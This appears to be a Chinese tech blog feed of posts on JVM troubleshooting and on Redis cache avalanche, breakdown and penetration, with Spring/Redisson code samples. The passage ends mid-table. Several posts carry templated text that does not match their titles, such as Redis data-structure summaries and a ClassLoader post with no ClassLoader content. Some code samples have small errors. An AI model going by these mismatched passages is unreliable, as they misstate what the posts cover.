JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM Redis缓存雪崩与预防 //redis-cache-avalanche-prevention/ Redis缓存雪崩与预防

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、缓存雪崩场景

#

1.1 同时失效场景

场景：大量key设置了相同的过期时间

09:00:00  key1过期
09:00:00  key2过期
09:00:00  key3过期
...       ...
09:00:00  key10000过期

瞬间：
  请求1 → key1未命中 → 查数据库
  请求2 → key2未命中 → 查数据库
  ...
  请求10000 → key10000未命中 → 查数据库

数据库QPS瞬间从1000飙升到10000+，数据库宕机！

#

1.2 Redis宕机场景

场景：Redis集群故障或重启

Redis宕机
    │
    ├── 所有缓存失效
    │
    └── 所有请求打到数据库
        └── 数据库瞬间被压垮

#

1.3 与缓存击穿、穿透的区别

问题影响范围原因
缓存穿透单个key查询不存在的数据
缓存击穿单个key热点key过期
缓存雪崩大量key大量key同时过期或Redis宕机

二、过期时间打散

#

2.1 随机过期时间

@Service
public class ProductService {
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    
    private static final int BASE_TTL = 3600;  // 基础过期时间1小时
    private static final int RANDOM_RANGE = 300;  // 随机范围5分钟
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        String json = redis.opsForValue().get(key);
        
        if (json != null) {
            return JSON.parseObject(json, Product.class);
        }
        
        Product product = productMapper.findById(id);
        if (product != null) {
            // 基础时间 + 随机偏移
            int ttl = BASE_TTL + ThreadLocalRandom.current().nextInt(RANDOM_RANGE);
            redis.opsForValue().set(key, JSON.toJSONString(product), ttl, TimeUnit.SECONDS);
        }
        
        return product;
    }
}

#

2.2 按业务维度设置不同过期时间

@Service
public class CacheService {
    
    // 不同业务使用不同的过期时间
    private static final Map<String, Integer> TTL_CONFIG = new HashMap<>();
    
    static {
        TTL_CONFIG.put("user", 7200);      // 用户数据2小时
        TTL_CONFIG.put("product", 3600);   // 商品数据1小时
        TTL_CONFIG.put("config", 86400);   // 配置数据24小时
        TTL_CONFIG.put("session", 1800);   // Session 30分钟
    }
    
    public void setWithBusinessTtl(String business, String key, Object value) {
        int baseTtl = TTL_CONFIG.getOrDefault(business, 3600);
        int randomOffset = ThreadLocalRandom.current().nextInt(300);
        redis.opsForValue().set(key, JSON.toJSONString(value), 
            baseTtl + randomOffset, TimeUnit.SECONDS);
    }
}

#

2.3 定时刷新避免集中过期

@Component
public class CacheRefreshScheduler {
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    
    // 每隔一段时间刷新一批即将过期的key
    @Scheduled(fixedRate = 300000)  // 每5分钟
    public void refreshExpiringKeys() {
        // 扫描即将过期的key（通过额外记录过期时间）
        Set<String> expiringKeys = findExpiringKeys(600);  // 10分钟内过期
        
        for (String key : expiringKeys) {
            Long id = extractId(key);
            Product product = productMapper.findById(id);
            if (product != null) {
                int ttl = 3600 + ThreadLocalRandom.current().nextInt(300);
                redis.opsForValue().set(key, JSON.toJSONString(product), ttl, TimeUnit.SECONDS);
            }
        }
    }
}

三、多级缓存

#

3.1 本地缓存 + Redis + 数据库

@Component
public class MultiLevelCache {
    
    // L1: 本地缓存（Caffeine）
    private Cache<String, Object> localCache = Caffeine.newBuilder()
        .maximumSize(10000)
        .expireAfterWrite(30, TimeUnit.SECONDS)
        .build();
    
    @Autowired
    private StringRedisTemplate redis;  // L2: Redis
    
    @Autowired
    private ProductMapper productMapper;  // L3: Database
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        
        // L1: 本地缓存
        Product product = (Product) localCache.getIfPresent(key);
        if (product != null) {
            return product;
        }
        
        // L2: Redis
        String json = redis.opsForValue().get(key);
        if (json != null) {
            product = JSON.parseObject(json, Product.class);
            localCache.put(key, product);
            return product;
        }
        
        // L3: 数据库
        product = productMapper.findById(id);
        if (product != null) {
            redis.opsForValue().set(key, JSON.toJSONString(product), 3600, TimeUnit.SECONDS);
            localCache.put(key, product);
        }
        
        return product;
    }
}

#

3.2 缓存更新策略

@Component
public class CacheUpdateService {
    
    @Autowired
    private Cache<String, Object> localCache;
    @Autowired
    private StringRedisTemplate redis;
    
    // 更新数据时同步更新多级缓存
    public void updateProduct(Product product) {
        String key = "product:" + product.getId();
        
        // 1. 更新数据库
        productMapper.update(product);
        
        // 2. 更新Redis
        redis.opsForValue().set(key, JSON.toJSONString(product), 3600, TimeUnit.SECONDS);
        
        // 3. 删除本地缓存（或更新）
        localCache.invalidate(key);
        
        // 4. 发送消息通知其他节点删除本地缓存（分布式环境）
        redis.convertAndSend("cache:invalidate", key);
    }
    
    // 监听缓存失效消息
    @RedisListener(channel = "cache:invalidate")
    public void onInvalidate(String key) {
        localCache.invalidate(key);
    }
}

四、熔断降级

#

4.1 Sentinel熔断

@Service
public class ProductService {
    
    @SentinelResource(
        value = "getProduct",
        fallback = "getProductFallback",
        blockHandler = "getProductBlockHandler"
    )
    public Product getProduct(Long id) {
        // 查询逻辑
        return productCache.get(id);
    }
    
    // 熔断降级方法
    public Product getProductFallback(Long id, Throwable ex) {
        // 返回兜底数据（如静态数据、默认值）
        return getDefaultProduct(id);
    }
    
    // 限流处理方法
    public Product getProductBlockHandler(Long id, BlockException ex) {
        // 返回缓存数据或默认值
        return getCacheProduct(id);
    }
}

#

4.2 Hystrix熔断

@Service
public class ProductService {
    
    @HystrixCommand(
        fallbackMethod = "getProductFallback",
        commandProperties = {
            @HystrixProperty(name = "circuitBreaker.requestVolumeThreshold", value = "20"),
            @HystrixProperty(name = "circuitBreaker.sleepWindowInMilliseconds", value = "5000"),
            @HystrixProperty(name = "circuitBreaker.errorThresholdPercentage", value = "50")
        }
    )
    public Product getProduct(Long id) {
        return productCache.get(id);
    }
    
    public Product getProductFallback(Long id) {
        return getDefaultProduct(id);
    }
}

五、高可用架构

#

5.1 Redis高可用

Redis Sentinel架构：

    ┌─────────┐
    │Sentinel │
    └────┬────┘
         │
    ┌────┴────┐
    ▼         ▼
┌─────────┐ ┌─────────┐
│  Master │ │  Slave  │
└─────────┘ └─────────┘

Redis Cluster架构：

┌─────────┐  ┌─────────┐  ┌─────────┐
│ Master0 │  │ Master1 │  │ Master2 │
│Slave0   │  │Slave1   │  │Slave2   │
└─────────┘  └─────────┘  └─────────┘

#

5.2 数据库连接池保护

# HikariCP配置
spring:
  datasource:
    hikari:
      maximum-pool-size: 50       # 最大连接数
      minimum-idle: 10            # 最小空闲连接
      connection-timeout: 3000    # 连接超时3秒
      max-lifetime: 1800000       # 最大生命周期
      leak-detection-threshold: 60000  # 泄漏检测

#

5.3 数据库读写分离

@Configuration
public class DataSourceConfig {
    
    @Bean
    public DataSource routingDataSource() {
        DynamicRoutingDataSource routingDataSource = new DynamicRoutingDataSource();
        
        Map<Object, Object> targetDataSources = new HashMap<>();
        targetDataSources.put("master", masterDataSource());
        targetDataSources.put("slave", slaveDataSource());
        
        routingDataSource.setTargetDataSources(targetDataSources);
        routingDataSource.setDefaultTargetDataSource(masterDataSource());
        
        return routingDataSource;
    }
}

六、预热机制

#

6.1 系统启动预热

@Component
public class CachePreheatRunner implements ApplicationRunner {
    
    @Autowired
    private ProductMapper productMapper;
    @Autowired
    private StringRedisTemplate redis;
    
    @Override
    public void run(ApplicationArguments args) {
        // 启动时预热热点数据
        List<Long> hotProductIds = Arrays.asList(1L, 2L, 3L, 4L, 5L);
        
        for (Long id : hotProductIds) {
            Product product = productMapper.findById(id);
            if (product != null) {
                int ttl = 3600 + ThreadLocalRandom.current().nextInt(300);
                redis.opsForValue().set("product:" + id, 
                    JSON.toJSONString(product), ttl, TimeUnit.SECONDS);
            }
        }
        
        System.out.println("Cache preheat completed");
    }
}

#

6.2 定时预热

@Component
public class ScheduledPreheat {
    
    @Autowired
    private ProductMapper productMapper;
    @Autowired
    private StringRedisTemplate redis;
    
    // 每天凌晨预热
    @Scheduled(cron = "0 0 3 * * ?")
    public void dailyPreheat() {
        List<Product> hotProducts = productMapper.findHotProducts(100);
        
        for (Product product : hotProducts) {
            int ttl = 7200 + ThreadLocalRandom.current().nextInt(600);
            redis.opsForValue().set("product:" + product.getId(), 
                JSON.toJSONString(product), ttl, TimeUnit.SECONDS);
        }
    }
}

七、监控告警

#

7.1 Redis监控

# 监控缓存命中率
redis-cli INFO stats | grep keyspace

# 监控连接数
redis-cli INFO clients | grep connected_clients

# 监控内存使用
redis-cli INFO memory | grep used_memory_human

#

7.2 应用监控

@Component
public class CacheMonitor {
    
    @Autowired
    private MeterRegistry meterRegistry;
    
    public void recordCacheMiss(String cacheName) {
        meterRegistry.counter("cache.miss", "name", cacheName).increment();
    }
    
    public void recordCacheHit(String cacheName) {
        meterRegistry.counter("cache.hit", "name", cacheName).increment();
    }
    
    public void recordDbQuery(String queryName) {
        meterRegistry.counter("db.query", "name", queryName).increment();
    }
}

#

7.3 告警规则

# Prometheus告警规则
groups:
  - name: cache
    rules:
      - alert: CacheHitRateLow
        expr: rate(cache_miss[5m]) / (rate(cache_hit[5m]) + rate(cache_miss[5m])) > 0.5
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "缓存命中率低于50%"
          
      - alert: DatabaseQuerySpike
        expr: rate(db_query[1m]) > 10000
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "数据库查询量激增"

八、总结

方案作用实施成本
过期时间打散避免同时失效低
多级缓存增加缓存层次中
熔断降级保护数据库中
高可用架构Redis不宕机高
预热机制提前加载数据低
监控告警及时发现问题低

缓存雪崩防御策略：

  1. 预防层：

    • 过期时间打散
    • 定时预热
    • 多级缓存

  2. 保护层：

    • 熔断降级
    • 限流
    • 数据库连接池保护

  3. 恢复层：

    • 高可用架构
    • 快速重启
    • 监控告警

核心原则：

  • 不要让大量key同时过期
  • 建立多级缓存防线
  • 异常情况保护数据库
  • 持续监控及时响应

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM Redis缓存击穿与热点Key //redis-cache-breakdown-hotkey/ Redis缓存击穿与热点Key

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、缓存击穿

#

1.1 什么是缓存击穿

场景：某个热点key过期瞬间

时间点T0：
  缓存：key = value (即将过期)
  数据库：key = value

时间点T1（key过期）：
  请求1 → 缓存未命中 → 查数据库
  请求2 → 缓存未命中 → 查数据库
  请求3 → 缓存未命中 → 查数据库
  ...（大量并发请求同时打到数据库）
  
  数据库压力瞬间剧增！

#

1.2 与缓存穿透的区别

问题原因数据是否存在
缓存穿透查询不存在的数据数据库也不存在
缓存击穿热点key过期数据库存在

二、缓存击穿解决方案

#

2.1 方案一：互斥锁（分布式锁）

@Service
public class HotKeyService {
    
    @Autowired
    private RedissonClient redisson;
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        String json = redis.opsForValue().get(key);
        
        if (json != null) {
            return JSON.parseObject(json, Product.class);
        }
        
        // 获取分布式锁，只有一个线程去查数据库
        RLock lock = redisson.getLock("lock:product:" + id);
        try {
            if (!lock.tryLock(3, 10, TimeUnit.SECONDS)) {
                // 获取锁失败，等待后重试
                Thread.sleep(100);
                return getProduct(id);  // 递归重试
            }
            
            // 双重检查
            json = redis.opsForValue().get(key);
            if (json != null) {
                return JSON.parseObject(json, Product.class);
            }
            
            // 查询数据库
            Product product = productMapper.findById(id);
            if (product != null) {
                redis.opsForValue().set(key, JSON.toJSONString(product), 3600, TimeUnit.SECONDS);
            }
            
            return product;
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            return null;
        } finally {
            if (lock.isHeldByCurrentThread()) {
                lock.unlock();
            }
        }
    }
}

优点：

  • 保证只有一个线程查数据库
  • 其他线程等待缓存重建

缺点：

  • 获取锁失败的线程需要等待或重试
  • 有性能损耗

#

2.2 方案二：逻辑过期

原理：不设置Redis的TTL，而是在value中存储逻辑过期时间

@Data
public class RedisData {
    private LocalDateTime expireTime;  // 逻辑过期时间
    private Object data;               // 实际数据
}

@Service
public class HotKeyService {
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    @Autowired
    private ExecutorService cacheRebuildExecutor;
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        String json = redis.opsForValue().get(key);
        
        if (json == null) {
            return null;  // 数据从未加载过
        }
        
        RedisData redisData = JSON.parseObject(json, RedisData.class);
        Product product = JSON.parseObject(JSON.toJSONString(redisData.getData()), Product.class);
        
        // 检查逻辑过期时间
        if (LocalDateTime.now().isAfter(redisData.getExpireTime())) {
            // 已过期，需要重建缓存
            // 获取锁（这里用简单的互斥锁）
            Boolean locked = redis.opsForValue()
                .setIfAbsent("lock:product:" + id, "1", 10, TimeUnit.SECONDS);
            
            if (Boolean.TRUE.equals(locked)) {
                // 异步重建缓存
                cacheRebuildExecutor.execute(() -> {
                    try {
                        Product fresh = productMapper.findById(id);
                        if (fresh != null) {
                            RedisData newData = new RedisData();
                            newData.setExpireTime(LocalDateTime.now().plusSeconds(3600));
                            newData.setData(fresh);
                            redis.opsForValue().set(key, JSON.toJSONString(newData));
                        }
                    } finally {
                        redis.delete("lock:product:" + id);
                    }
                });
            }
            // 返回过期数据（保证可用性）
        }
        
        return product;
    }
    
    // 数据预热时设置逻辑过期
    public void preheatProduct(Long id) {
        Product product = productMapper.findById(id);
        if (product != null) {
            RedisData redisData = new RedisData();
            redisData.setExpireTime(LocalDateTime.now().plusSeconds(3600));
            redisData.setData(product);
            redis.opsForValue().set("product:" + id, JSON.toJSONString(redisData));
        }
    }
}

优点：

  • 不会阻塞请求（返回旧数据）
  • 不需要等待缓存重建

缺点：

  • 会返回过期数据（最终一致性）
  • 实现复杂度高
  • 需要额外的线程池处理重建

#

2.3 方案三：热点Key永不过期

@Service
public class HotKeyService {
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    
    // 热点key集合（通过监控或配置识别）
    private Set<String> hotKeys = ConcurrentHashMap.newKeySet();
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        String json = redis.opsForValue().get(key);
        
        if (json != null) {
            return JSON.parseObject(json, Product.class);
        }
        
        Product product = productMapper.findById(id);
        if (product != null) {
            long ttl = hotKeys.contains(key) ? -1 : 3600;  // 热点key永不过期
            redis.opsForValue().set(key, JSON.toJSONString(product));
            if (ttl > 0) {
                redis.expire(key, ttl, TimeUnit.SECONDS);
            }
        }
        
        return product;
    }
    
    // 定时更新热点key
    @Scheduled(fixedRate = 60000)
    public void refreshHotKeys() {
        // 从监控系统获取热点key列表
        // 或根据访问频率统计
    }
    
    // 后台定时刷新热点key
    @Scheduled(fixedRate = 300000)
    public void refreshHotKeyData() {
        for (String key : hotKeys) {
            Long id = extractIdFromKey(key);
            Product product = productMapper.findById(id);
            if (product != null) {
                redis.opsForValue().set(key, JSON.toJSONString(product));
            }
        }
    }
}

#

2.4 方案四：二级缓存

@Service
public class HotKeyService {
    
    // 本地缓存（Caffeine）
    private Cache<String, Product> localCache = Caffeine.newBuilder()
        .maximumSize(1000)
        .expireAfterWrite(10, TimeUnit.SECONDS)
        .build();
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        
        // 1. 查本地缓存
        Product product = localCache.getIfPresent(key);
        if (product != null) {
            return product;
        }
        
        // 2. 查Redis
        String json = redis.opsForValue().get(key);
        if (json != null) {
            product = JSON.parseObject(json, Product.class);
            localCache.put(key, product);  // 放入本地缓存
            return product;
        }
        
        // 3. 查数据库
        product = productMapper.findById(id);
        if (product != null) {
            redis.opsForValue().set(key, JSON.toJSONString(product), 3600, TimeUnit.SECONDS);
            localCache.put(key, product);
        }
        
        return product;
    }
}

三、热点Key识别

#

3.1 Redis监控命令

# 查看热key（Redis 4.0+）
redis-cli --hotkeys

# 查看bigkey
redis-cli --bigkeys

# 监控实时命令
redis-cli MONITOR

# 查看慢查询
redis-cli SLOWLOG GET 10

#

3.2 应用层监控

@Component
public class HotKeyMonitor {
    
    private ConcurrentHashMap<String, AtomicLong> keyAccessCount = new ConcurrentHashMap<>();
    
    public void recordAccess(String key) {
        keyAccessCount.computeIfAbsent(key, k -> new AtomicLong(0)).incrementAndGet();
    }
    
    @Scheduled(fixedRate = 60000)
    public void reportHotKeys() {
        List<Map.Entry<String, AtomicLong>> sorted = keyAccessCount.entrySet().stream()
            .sorted((e1, e2) -> Long.compare(e2.getValue().get(), e1.getValue().get()))
            .limit(100)
            .collect(Collectors.toList());
        
        // 上报热点key
        for (Map.Entry<String, AtomicLong> entry : sorted) {
            System.out.println("HotKey: " + entry.getKey() + ", Count: " + entry.getValue().get());
        }
        
        // 清空计数
        keyAccessCount.clear();
    }
}

#

3.3 使用Redis监控工具

# redis-faina（分析MONITOR输出）
redis-cli MONITOR | head -n 10000 | redis-faina

# 输出热点key统计

四、热点Key解决方案

#

4.1 热点Key分散

// 将热点key分散到多个key上
@Service
public class HotKeyService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final int HOT_KEY_SHARD_COUNT = 10;
    
    public Product getProduct(Long id) {
        // 对热点key使用多个副本
        String baseKey = "product:" + id;
        
        // 先查主key
        String json = redis.opsForValue().get(baseKey);
        if (json != null) {
            return JSON.parseObject(json, Product.class);
        }
        
        // 如果是热点key，查副本
        if (isHotKey(baseKey)) {
            int shard = ThreadLocalRandom.current().nextInt(HOT_KEY_SHARD_COUNT);
            String shardKey = baseKey + ":" + shard;
            json = redis.opsForValue().get(shardKey);
            if (json != null) {
                return JSON.parseObject(json, Product.class);
            }
        }
        
        // ... 查数据库并写入
        return null;
    }
    
    // 写入时写多个副本
    public void setProduct(Product product) {
        String baseKey = "product:" + product.getId();
        String json = JSON.toJSONString(product);
        
        redis.opsForValue().set(baseKey, json, 3600, TimeUnit.SECONDS);
        
        // 如果是热点key，写多个副本
        if (isHotKey(baseKey)) {
            for (int i = 0; i < HOT_KEY_SHARD_COUNT; i++) {
                redis.opsForValue().set(baseKey + ":" + i, json, 3600, TimeUnit.SECONDS);
            }
        }
    }
}

#

4.2 本地缓存+Redis

@Component
public class HotKeyLocalCache {
    
    private LoadingCache<String, Object> localCache = Caffeine.newBuilder()
        .maximumSize(10000)
        .expireAfterWrite(5, TimeUnit.SECONDS)
        .refreshAfterWrite(3, TimeUnit.SECONDS)
        .build(key -> loadFromRedis(key));
    
    @Autowired
    private StringRedisTemplate redis;
    
    private Object loadFromRedis(String key) {
        String json = redis.opsForValue().get(key);
        return json != null ? JSON.parse(json) : null;
    }
    
    public Object get(String key) {
        return localCache.get(key);
    }
}

五、方案对比

方案优点缺点适用场景
互斥锁简单有效有等待时间一般场景
逻辑过期不阻塞返回旧数据高可用优先
永不过期简单需要刷新机制配置型热点key
二级缓存性能最好数据一致性极高并发

六、总结

缓存击穿防御策略：

  1. 互斥锁：保证只有一个线程重建缓存
  2. 逻辑过期：不阻塞请求，异步重建
  3. 热点key永不过期：后台定时刷新
  4. 二级缓存：本地缓存+Redis

热点Key处理策略：

  1. 监控识别：及时发现热点key
  2. key分散：多个副本分担压力
  3. 本地缓存：减少Redis访问
  4. 读写分离：多个Slave分担读压力

核心原则：

  • 预防为主：合理设置过期时间，避免同时过期
  • 分级防御：本地缓存 → Redis → 数据库
  • 监控告警：及时发现热点和击穿
  • 降级保护：异常情况保护数据库

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM Redis缓存穿透与解决方案 //redis-cache-penetration-solution/ Redis缓存穿透与解决方案

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、什么是缓存穿透

#

1.1 穿透场景

正常查询：
客户端 → 查询缓存（命中）→ 返回数据

缓存未命中：
客户端 → 查询缓存（未命中）→ 查询数据库（命中）→ 写入缓存 → 返回数据

缓存穿透：
客户端 → 查询缓存（未命中，数据不存在）→ 查询数据库（未命中）→ 返回空
                                                    │
                                                    └── 每次请求都查数据库！

#

1.2 产生原因

  1. 恶意攻击：构造大量不存在的key进行查询
  2. 业务误用：查询已被删除的数据
  3. 数据未初始化：新数据还未写入缓存和数据库
  4. 参数错误：传入非法参数查询

#

1.3 危害

  • 数据库压力剧增
  • 可能导致数据库宕机
  • 缓存失去保护作用
  • 影响正常用户访问

二、解决方案

#

2.1 方案一：缓存空值

原理：查询数据库未命中后，将空值也缓存起来

@Service
public class UserService {
    
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private UserMapper userMapper;
    
    private static final String USER_KEY = "user:";
    private static final long CACHE_NULL_TTL = 60; // 空值缓存60秒
    private static final String NULL_VALUE = "null";
    
    public User getUser(Long id) {
        String key = USER_KEY + id;
        String json = redis.opsForValue().get(key);
        
        // 缓存命中（包括空值）
        if (json != null) {
            if (NULL_VALUE.equals(json)) {
                return null;  // 之前查询过，数据库不存在
            }
            return JSON.parseObject(json, User.class);
        }
        
        // 缓存未命中，查数据库
        User user = userMapper.findById(id);
        
        if (user == null) {
            // 数据库不存在，缓存空值（短过期时间）
            redis.opsForValue().set(key, NULL_VALUE, CACHE_NULL_TTL, TimeUnit.SECONDS);
        } else {
            // 数据库存在，缓存数据
            redis.opsForValue().set(key, JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
        }
        
        return user;
    }
}

优点：

  • 实现简单
  • 效果显著

缺点：

  • 缓存大量空值占用空间
  • 如果攻击者构造大量不同的key，缓存空间可能被撑满
  • 数据真实存在后，需要等待空值过期才能正确获取

#

2.2 方案二：布隆过滤器

原理：在查询缓存之前，先用布隆过滤器判断key是否可能存在

@Configuration
public class BloomFilterConfig {
    
    @Bean
    public RBloomFilter<String> userBloomFilter(RedissonClient redisson) {
        RBloomFilter<String> bloomFilter = redisson.getBloomFilter("userBloomFilter");
        
        // 初始化：预期插入100万个元素，误判率0.01
        bloomFilter.tryInit(1000000L, 0.01);
        
        return bloomFilter;
    }
}

@Service
public class UserService {
    
    @Autowired
    private RBloomFilter<String> userBloomFilter;
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private UserMapper userMapper;
    
    // 数据初始化时添加到布隆过滤器
    @PostConstruct
    public void initBloomFilter() {
        List<Long> userIds = userMapper.findAllIds();
        for (Long id : userIds) {
            userBloomFilter.add("user:" + id);
        }
    }
    
    public User getUser(Long id) {
        String key = "user:" + id;
        
        // 1. 布隆过滤器判断
        if (!userBloomFilter.contains(key)) {
            return null;  // 一定不存在，直接返回
        }
        
        // 2. 查询缓存
        String json = redis.opsForValue().get(key);
        if (json != null) {
            return JSON.parseObject(json, User.class);
        }
        
        // 3. 查询数据库
        User user = userMapper.findById(id);
        if (user != null) {
            redis.opsForValue().set(key, JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
        }
        
        return user;
    }
    
    // 新增用户时添加到布隆过滤器
    public void addUser(User user) {
        userMapper.insert(user);
        userBloomFilter.add("user:" + user.getId());
        redis.opsForValue().set("user:" + user.getId(), 
            JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
    }
}

优点：

  • 不占用大量缓存空间
  • 能防御大量随机key攻击

缺点：

  • 有一定误判率（可能将不存在的判断为存在）
  • 不支持删除元素（或需要特殊实现如Counting Bloom Filter）
  • 需要初始化时加载所有数据

#

2.3 方案三：参数校验

@RestController
public class UserController {
    
    @Autowired
    private UserService userService;
    
    @GetMapping("/user/{id}")
    public User getUser(@PathVariable Long id) {
        // 参数校验
        if (id == null || id <= 0 || id > 999999999L) {
            throw new IllegalArgumentException("Invalid user id");
        }
        
        return userService.getUser(id);
    }
}

优点：

  • 最简单直接
  • 能拦截明显的非法请求

缺点：

  • 只能拦截部分场景
  • 不能防御合法范围内的攻击

#

2.4 方案四：限流

@Component
public class CachePenetrationLimiter {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 基于Sliding Window限流
    public boolean isAllowed(String key, int maxRequests, int windowSeconds) {
        String limitKey = "limit:" + key;
        long now = System.currentTimeMillis();
        long windowStart = now - windowSeconds * 1000;
        
        // 移除窗口外的记录
        redis.opsForZSet().removeRangeByScore(limitKey, 0, windowStart);
        
        // 获取当前请求数
        Long count = redis.opsForZSet().zCard(limitKey);
        if (count != null && count >= maxRequests) {
            return false;
        }
        
        // 记录本次请求
        redis.opsForZSet().add(limitKey, String.valueOf(now), now);
        redis.expire(limitKey, windowSeconds + 1, TimeUnit.SECONDS);
        
        return true;
    }
}

@Service
public class UserService {
    
    @Autowired
    private CachePenetrationLimiter limiter;
    
    public User getUser(Long id) {
        // 对同一key限流
        if (!limiter.isAllowed("user:" + id, 100, 60)) {
            throw new RateLimitException("请求过于频繁");
        }
        
        // ... 查询逻辑
    }
}

#

2.5 方案五：互斥锁（防并发查询）

@Service
public class UserService {
    
    @Autowired
    private RedissonClient redisson;
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private UserMapper userMapper;
    
    public User getUser(Long id) {
        String key = "user:" + id;
        String json = redis.opsForValue().get(key);
        
        if (json != null) {
            return JSON.parseObject(json, User.class);
        }
        
        // 获取分布式锁，防止并发查数据库
        RLock lock = redisson.getLock("lock:user:" + id);
        try {
            if (!lock.tryLock(3, 10, TimeUnit.SECONDS)) {
                // 获取锁失败，等待后重试
                Thread.sleep(100);
                return getUser(id);
            }
            
            // 双重检查
            json = redis.opsForValue().get(key);
            if (json != null) {
                return JSON.parseObject(json, User.class);
            }
            
            // 查询数据库
            User user = userMapper.findById(id);
            if (user == null) {
                redis.opsForValue().set(key, "null", 60, TimeUnit.SECONDS);
            } else {
                redis.opsForValue().set(key, JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
            }
            
            return user;
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            return null;
        } finally {
            if (lock.isHeldByCurrentThread()) {
                lock.unlock();
            }
        }
    }
}

三、方案对比

方案优点缺点适用场景
